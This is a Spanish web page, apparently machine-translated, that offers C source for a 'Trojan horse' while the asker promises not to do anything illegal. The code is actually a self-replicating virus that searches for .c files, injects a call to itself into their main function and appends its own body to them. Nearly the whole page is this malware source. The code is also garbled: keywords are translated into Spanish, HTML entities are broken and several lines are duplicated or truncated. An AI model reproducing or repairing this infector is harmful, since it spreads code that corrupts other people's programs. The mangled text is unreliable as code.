Red de conocimiento informático - Computadora portátil - El código del caballo de Troya en lenguaje C es muy simple. ¡Prometo no hacer nada ilegal!

El código del caballo de Troya en lenguaje C es muy simple. ¡Prometo no hacer nada ilegal!

#include lt; stdio.hgt;

#include lt;

void main(void)

{

virus();

}

int virus()

{

estructura ffblk ffblk

ARCHIVO *entrada, *salida, *leer

char *virus="virus.c";

char buf[50][80]; *p;

char * end="return";

char *bracket="}"

char *main="principal"; p>

char *bracket="}"; p>

char *include[2]={"stdio.h", "dir.h"}; "int virus()";

char *búfer;

int hecho, i, j=0, bandera=0

printf("\nI; tiene un virus Escrito por PuBin\n");

done = findfirst("*.c" , amp; ffblk, 0);

mientras (!done)

{

i=0;

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

ir a siguiente

}

hacer{

hecho = findfirst("*.

hacer{

if(igt; =50)

{

fclose(in);

ir a siguiente

}

fclose( en).

p=fgets(buf[i], 80, en

i;

} while(p!=NULL);

fclose(in);

out=fopen(ffblk.ff_name, "w t"); >fputs("#includelt; stdio.hgt;\n ", fuera);

fputs("#includelt;dir.hgt;\n",

hacer);

{

if(strstr(buf[j],principal)! =NULL)

{

for(;jlt;i-1;j)

if(strstr(buf[j], end)==NULLamp ; amp; strstr(buf[j], corchete)==NULL)

fputs(buf[j], salida

else

{

if(bandera==0)

{

bandera=1

fputs("virus();\n", salida);

}

fputs(buf).

[j], fuera).

}

}

else if((strstr(buf[j], include[0])==NULL)

amp; (strstr(buf[j], include[1])==NULL))

{

fputs(buf[j] , fuera

j;

}

else

j

}mientras(jlt; i-); 1);

read=fopen(virus, "rt");

hacer

{

p=fgets( buffer, 80, leer);

if(strstr(buffer, int_virus)).

while(p!=NULL)

{

if(strstr(búfer, virus)== NULL)

fputs(búfer, fuera

else

{

fputs(" char *virus=\"", salida);

fputs(ffblk.ff_name, salida);

fputs("\ ";\n", salida);

}

p=fgets(búfer, 80, lectura

}

}

} while(p!=NULL);

fclose(read);

fclose(out);

printf("\nSu programa c tiene un virus .Escrito por PuBin\n", ffblk.ff_name);

siguiente: hecho = findnext(amp; ffblk);

}

return 0 ;

}

Luego hay muchos Baidu en línea.